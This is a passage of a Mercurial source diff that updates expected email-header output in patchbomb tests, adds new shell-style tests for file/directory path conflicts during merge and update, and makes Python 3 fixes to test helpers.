   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 3] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1309,8 +1350,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1318,8 +1359,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2-1.patch
   
@@ -1356,8 +1397,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1365,8 +1406,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2-2.patch
   
@@ -1403,8 +1444,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1412,8 +1453,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: attachment; filename=t2-3.patch
   
@@ -1459,8 +1500,8 @@
   
   
   displaying [PATCH 0 of 1] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 1] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1472,8 +1513,8 @@
   
   
   displaying [PATCH 1 of 1] c ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 1] c
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1512,8 +1553,8 @@
   
   
   displaying [PATCH 0 of 1] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 1] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1526,8 +1567,8 @@
   foo
   
   displaying [PATCH 1 of 1] c ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 1] c
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1568,8 +1609,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1581,8 +1622,8 @@
   
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -1613,8 +1654,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -1652,8 +1693,8 @@
   
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1690,8 +1731,8 @@
   
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1748,8 +1789,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=two.diff
   
@@ -1779,8 +1820,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1809,8 +1850,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2-1.patch
   
@@ -1847,8 +1888,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=one.patch
   
@@ -1876,8 +1917,8 @@
   
   
   displaying [PATCH] Added tag two, two.diff for changeset ff2c9fa2018b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] Added tag two, two.diff for changeset ff2c9fa2018b
   X-Mercurial-Node: 7aead2484924c445ad8ce2613df91f52f9e502ed
@@ -1919,8 +1960,8 @@
   (optional) Subject: [PATCH 0 of 2] 
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -1951,8 +1992,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -1994,8 +2035,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2009,8 +2050,8 @@
   
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2041,8 +2082,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2082,8 +2123,8 @@
   
   
   displaying [PATCH fooFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH fooFlag] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -2123,8 +2164,8 @@
   
   
   displaying [PATCH 0 of 2 fooFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2 fooFlag] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2136,8 +2177,8 @@
   
   
   displaying [PATCH 1 of 2 fooFlag] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2 fooFlag] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2168,8 +2209,8 @@
   +a
   
   displaying [PATCH 2 of 2 fooFlag] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2 fooFlag] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2209,8 +2250,8 @@
   
   
   displaying [PATCH fooFlag barFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH fooFlag barFlag] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -2249,8 +2290,8 @@
   
   
   displaying [PATCH 0 of 2 fooFlag barFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2 fooFlag barFlag] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2262,8 +2303,8 @@
   
   
   displaying [PATCH 1 of 2 fooFlag barFlag] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2 fooFlag barFlag] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2294,8 +2335,8 @@
   +a
   
   displaying [PATCH 2 of 2 fooFlag barFlag] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2 fooFlag barFlag] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2336,8 +2377,8 @@
   sending [PATCH] test ...
   $ cat < tmp.mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2378,8 +2419,8 @@
   Cc: 
   
   displaying [PATCH 0 of 2 R1] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2 R1] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2391,8 +2432,8 @@
   foo
   
   displaying [PATCH 1 of 2 R0] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2 R0] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2422,8 +2463,8 @@
   +a
   
   displaying [PATCH 2 of 2 R1] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2 R1] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2461,8 +2502,8 @@
   Cc: 
   
   displaying [PATCH default V2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH default V2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2503,8 +2544,8 @@
 
   $ cat tmp.mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2581,8 +2622,8 @@
   Cc: 
   
   displaying [PATCH 0 of 6] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 6] test
   Message-Id: <patchbomb.315532860@*> (glob)
@@ -2593,8 +2634,8 @@
   
   
   displaying [PATCH 1 of 6] c ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 6] c
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -2624,8 +2665,8 @@
   +c
   
   displaying [PATCH 2 of 6] utf-8 content ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   Subject: [PATCH 2 of 6] utf-8 content
   X-Mercurial-Node: 909a00e13e9d78b575aeee23dddbada46d5a143f
@@ -2662,8 +2703,8 @@
   +h\xc3\xb6mma! (esc)
   
   displaying [PATCH 3 of 6] long line ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH 3 of 6] long line
   X-Mercurial-Node: a2ea8fc83dd8b93cfd86ac97b28287204ab806e1
@@ -2709,8 +2750,8 @@
   +bar
   
   displaying [PATCH 4 of 6] isolatin 8-bit encoding ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   Subject: [PATCH 4 of 6] isolatin 8-bit encoding
   X-Mercurial-Node: 240fb913fc1b7ff15ddb9f33e73d82bf5277c720
@@ -2740,8 +2781,8 @@
   +h\xf6mma! (esc)
   
   displaying [PATCH 5 of 6] Added tag zero, zero.foo for changeset 8580ff50825a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 5 of 6] Added tag zero, zero.foo for changeset 8580ff50825a
   X-Mercurial-Node: 5d5ef15dfe5e7bd3a4ee154b5fff76c7945ec433
@@ -2772,8 +2813,8 @@
   +8580ff50825a50c8f716709acdf8de0deddcd6ab zero.foo
   
   displaying [PATCH 6 of 6] d ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 6 of 6] d
   X-Mercurial-Node: 2f9fa9b998c5fe3ac2bd9a2b14bfcbeecbc7c268
@@ -2817,8 +2858,8 @@
   
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 2f9fa9b998c5fe3ac2bd9a2b14bfcbeecbc7c268
@@ -2952,8 +2993,8 @@
   warning: invalid patchbomb.intro value "mpmwearaclownnose"
   (should be one of always, never, auto)
   -f test foo
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 3b6f1ec9dde933a40a115a7990f8b320477231af
@@ -3012,6 +3053,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets 8580ff50825a:2f9fa9b998c5
   updating to branch test
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo 'publicurl=$TESTTMP/t3' >> $HGRCPATH
diff --git a/tests/test-pathconflicts-basic.t b/tests/test-pathconflicts-basic.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pathconflicts-basic.t
@@ -0,0 +1,99 @@
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+  $ hg bookmark -i base
+  $ echo 1 > a
+  $ hg add a
+  $ hg commit -m "file"
+  $ hg bookmark -i file
+  $ echo 2 > a
+  $ hg commit -m "file2"
+  $ hg bookmark -i file2
+  $ hg up -q 0
+  $ mkdir a
+  $ echo 2 > a/b
+  $ hg add a/b
+  $ hg commit -m "dir"
+  created new head
+  $ hg bookmark -i dir
+
+Basic merge - local file conflicts with remote directory
+
+  $ hg up -q file
+  $ hg bookmark -i
+  $ hg merge --verbose dir
+  resolving manifests
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~853701544ac3
+  resolve manually then use 'hg resolve --mark a'
+  moving a to a~853701544ac3
+  getting a/b
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg update --clean .
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ rm a~853701544ac3
+
+Basic update - local directory conflicts with remote file
+
+  $ hg up -q 0
+  $ mkdir a
+  $ echo 3 > a/b
+  $ hg up file
+  a: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up --clean file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file)
+
+Repo state is ok
+
+  $ hg sum
+  parent: 1:853701544ac3 
+   file
+  branch: default
+  bookmarks: *file
+  commit: (clean)
+  update: 2 new changesets (update)
+  phases: 4 draft
+
+Basic update - untracked file conflicts with remote directory
+
+  $ hg up -q 0
+  $ echo untracked > a
+  $ hg up --config merge.checkunknown=warn dir
+  a: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark dir)
+  $ cat a.orig
+  untracked
+  $ rm -f a.orig
+
+Basic clean update - local directory conflicts with changed remote file
+
+  $ hg up -q file
+  $ rm a
+  $ mkdir a
+  $ echo 4 > a/b
+  $ hg up file2
+  abort: *: '$TESTTMP/repo/a' (glob)
+  [255]
+  $ hg up --clean file2
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file2)
+
+Repo state is ok
+
+  $ hg sum
+  parent: 2:f64e09fac717 
+   file2
+  branch: default
+  bookmarks: *file2
+  commit: (clean)
+  update: 1 new changesets, 2 branch heads (merge)
+  phases: 4 draft
+
diff --git a/tests/test-pathconflicts-merge.t b/tests/test-pathconflicts-merge.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pathconflicts-merge.t
@@ -0,0 +1,128 @@
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+  $ hg bookmark -i base
+  $ mkdir a
+  $ echo 1 > a/b
+  $ hg add a/b
+  $ hg commit -m "file"
+  $ hg bookmark -i file
+  $ echo 2 > a/b
+  $ hg commit -m "file2"
+  $ hg bookmark -i file2
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir a
+  $ ln -s c a/b
+  $ hg add a/b
+  $ hg commit -m "link"
+  created new head
+  $ hg bookmark -i link
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir -p a/b/c
+  $ echo 2 > a/b/c/d
+  $ hg add a/b/c/d
+  $ hg commit -m "dir"
+  created new head
+  $ hg bookmark -i dir
+
+Merge - local file conflicts with remote directory
+
+  $ hg up file
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  (activating bookmark file)
+  $ hg bookmark -i
+  $ hg merge --verbose dir
+  resolving manifests
+  a/b: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a/b~0ed027b96f31
+  resolve manually then use 'hg resolve --mark a/b'
+  moving a/b to a/b~0ed027b96f31 (glob)
+  getting a/b/c/d
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg status
+  M a/b/c/d
+  A a/b~0ed027b96f31
+  R a/b
+  $ hg resolve --all
+  a/b: path conflict must be resolved manually
+  $ hg forget a/b~0ed027b96f31 && rm a/b~0ed027b96f31
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg commit -m "merge file and dir (deleted file)"
+
+Merge - local symlink conflicts with remote directory
+
+  $ hg up link
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  (activating bookmark link)
+  $ hg bookmark -i
+  $ hg merge dir
+  a/b: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a/b~2ea68033e3be
+  resolve manually then use 'hg resolve --mark a/b'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg status
+  M a/b/c/d
+  A a/b~2ea68033e3be
+  R a/b
+  $ hg resolve --list
+  P a/b
+  $ hg resolve --all
+  a/b: path conflict must be resolved manually
+  $ hg mv a/b~2ea68033e3be a/b.old
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg resolve --list
+  R a/b
+  $ hg commit -m "merge link and dir (renamed link)"
+
+Merge - local directory conflicts with remote file or link
+
+  $ hg up dir
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  (activating bookmark dir)
+  $ hg bookmark -i
+  $ hg merge file
+  a/b: path conflict - a file or link has the same name as a directory
+  the remote file has been renamed to a/b~0ed027b96f31
+  resolve manually then use 'hg resolve --mark a/b'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg status
+  A a/b~0ed027b96f31
+  $ hg resolve --all
+  a/b: path conflict must be resolved manually
+  $ hg mv a/b~0ed027b96f31 a/b/old-b
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg commit -m "merge dir and file (move file into dir)"
+  created new head
+  $ hg merge file2
+  merging a/b/old-b and a/b to a/b/old-b
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ cat a/b/old-b
+  2
+  $ hg commit -m "merge file2 (copytrace tracked rename)"
+  $ hg merge link
+  a/b: path conflict - a file or link has the same name as a directory
+  the remote file has been renamed to a/b~2ea68033e3be
+  resolve manually then use 'hg resolve --mark a/b'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg mv a/b~2ea68033e3be a/b.old
+  $ readlink.py a/b.old
+  a/b.old -> c
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg commit -m "merge link (rename link)"
diff --git a/tests/test-pathconflicts-update.t b/tests/test-pathconflicts-update.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pathconflicts-update.t
@@ -0,0 +1,153 @@
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+  $ hg bookmark -i base
+  $ mkdir a
+  $ echo 1 > a/b
+  $ hg add a/b
+  $ hg commit -m "file"
+  $ hg bookmark -i file
+  $ echo 2 > a/b
+  $ hg commit -m "file2"
+  $ hg bookmark -i file2
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir a
+#if symlink
+  $ ln -s c a/b
+#else
+  $ touch a/b
+#endif
+  $ hg add a/b
+  $ hg commit -m "link"
+  created new head
+  $ hg bookmark -i link
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir -p a/b/c
+  $ echo 2 > a/b/c/d
+  $ hg add a/b/c/d
+  $ hg commit -m "dir"
+  created new head
+  $ hg bookmark -i dir
+
+Update - local file conflicts with remote directory:
+
+  $ hg up -q 0
+  $ mkdir a
+  $ echo 9 > a/b
+  $ hg up dir
+  a/b: untracked file conflicts with directory
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up dir --config merge.checkunknown=warn
+  a/b: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark dir)
+  $ cat a/b.orig
+  9
+  $ rm a/b.orig
+
+Update - local symlink conflicts with remote directory:
+
+  $ hg up -q 0
+  $ mkdir a
+#if symlink
+  $ ln -s x a/b
+#else
+  $ touch a/b
+#endif
+  $ hg up dir
+  a/b: untracked file conflicts with directory
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up dir --config merge.checkunknown=warn
+  a/b: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark dir)
+#if symlink
+  $ readlink.py a/b.orig
+  a/b.orig -> x
+#endif
+  $ rm a/b.orig
+
+Update - local directory conflicts with remote file
+
+  $ hg up -q 0
+  $ mkdir -p a/b/c
+  $ echo 9 > a/b/c/d
+  $ hg up file
+  a/b: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up file --config merge.checkunknown=warn
+  a/b: replacing untracked files in directory
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file)
+  $ cat a/b
+  1
+  $ test -d a/b.orig
+  $ rm -rf a/b.orig
+
+Update - local directory conflicts with remote symlink
+
+  $ hg up -q 0
+  $ mkdir -p a/b/c
+  $ echo 9 > a/b/c/d
+  $ hg up link
+  a/b: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up link --config merge.checkunknown=warn
+  a/b: replacing untracked files in directory
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark link)
+#if symlink
+  $ readlink.py a/b
+  a/b -> c
+#endif
+  $ test -d a/b.orig
+  $ rm -rf a/b.orig
+
+Update - local renamed file conflicts with remote directory
+
+  $ hg up -q 0
+  $ hg mv base a
+  $ hg status -C
+  A a
+    base
+  R base
+  $ hg up --check dir
+  abort: uncommitted changes
+  [255]
+  $ hg up dir
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~d20a80d4def3
+  resolve manually then use 'hg resolve --mark a'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges
+  (activating bookmark dir)
+  [1]
+  $ hg status -C
+  A a~d20a80d4def3
+    base
+  R base
+  $ hg resolve --list
+  P a
+  $ hg up --clean -q 0
+
+Update clean - local directory conflicts with changed remote file
+
+  $ hg up -q file
+  $ rm a/b
+  $ mkdir a/b
+  $ echo 9 > a/b/c
+  $ hg up file2 --check --config merge.checkunknown=warn
+  abort: uncommitted changes
+  [255]
+  $ hg up file2 --clean
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file2)
+
diff --git a/tests/test-pathencode.py b/tests/test-pathencode.py
--- a/tests/test-pathencode.py
+++ b/tests/test-pathencode.py
@@ -19,6 +19,11 @@
     store,
 )
 
+try:
+    xrange
+except NameError:
+    xrange = range
+
 validchars = set(map(chr, range(0, 256)))
 alphanum = range(ord('A'), ord('Z'))
 
@@ -183,7 +188,7 @@
         if o in ('-c', '--count'):
             count = int(a)
         elif o in ('-s', '--seed'):
-            seed = long(a, base=0) # accepts base 10 or 16 strings
+            seed = int(a, base=0) # accepts base 10 or 16 strings
         elif o == '--build':
             buildprobtable(sys.stdout,
                            'find .hg/store/data -type f && '
@@ -192,9 +197,9 @@
 
     if seed is None:
         try:
-            seed = long(binascii.hexlify(os.urandom(16)), 16)
+            seed = int(binascii.hexlify(os.urandom(16)), 16)
         except AttributeError:
-            seed = long(time.time() * 1000)
+            seed = int(time.time() * 1000)
 
     rng = random.Random(seed)
     if runtests(rng, seed, count):
diff --git a/tests/test-paths.t b/tests/test-paths.t
--- a/tests/test-paths.t
+++ b/tests/test-paths.t
@@ -88,39 +88,30 @@
 
  (behaves as a {name: path-string} dict by default)
 
-  $ hg log -rnull -T '{peerpaths}\n'
+  $ hg log -rnull -T '{peerurls}\n'
   dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{join(peerpaths, "\n")}\n'
+  $ hg log -rnull -T '{join(peerurls, "\n")}\n'
   dupe=$TESTTMP/b#tip (glob)
   expand=$TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{peerpaths % "{name}: {path}\n"}'
-  dupe: $TESTTMP/a/$SOMETHING/bar (glob)
+  $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
+  dupe: $TESTTMP/b#tip (glob)
   expand: $TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{get(peerpaths, "dupe")}\n'
-  $TESTTMP/a/$SOMETHING/bar (glob)
+  $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
+  $TESTTMP/b#tip (glob)
 
- (but a path is actually a dict of url and sub-options)
+ (sub options can be populated by map/dot operation)
 
-  $ hg log -rnull -T '{join(get(peerpaths, "dupe"), "\n")}\n'
-  url=$TESTTMP/b#tip (glob)
-  pushurl=https://example.com/dupe
-  $ hg log -rnull -T '{get(peerpaths, "dupe") % "{key}: {value}\n"}'
+  $ hg log -rnull \
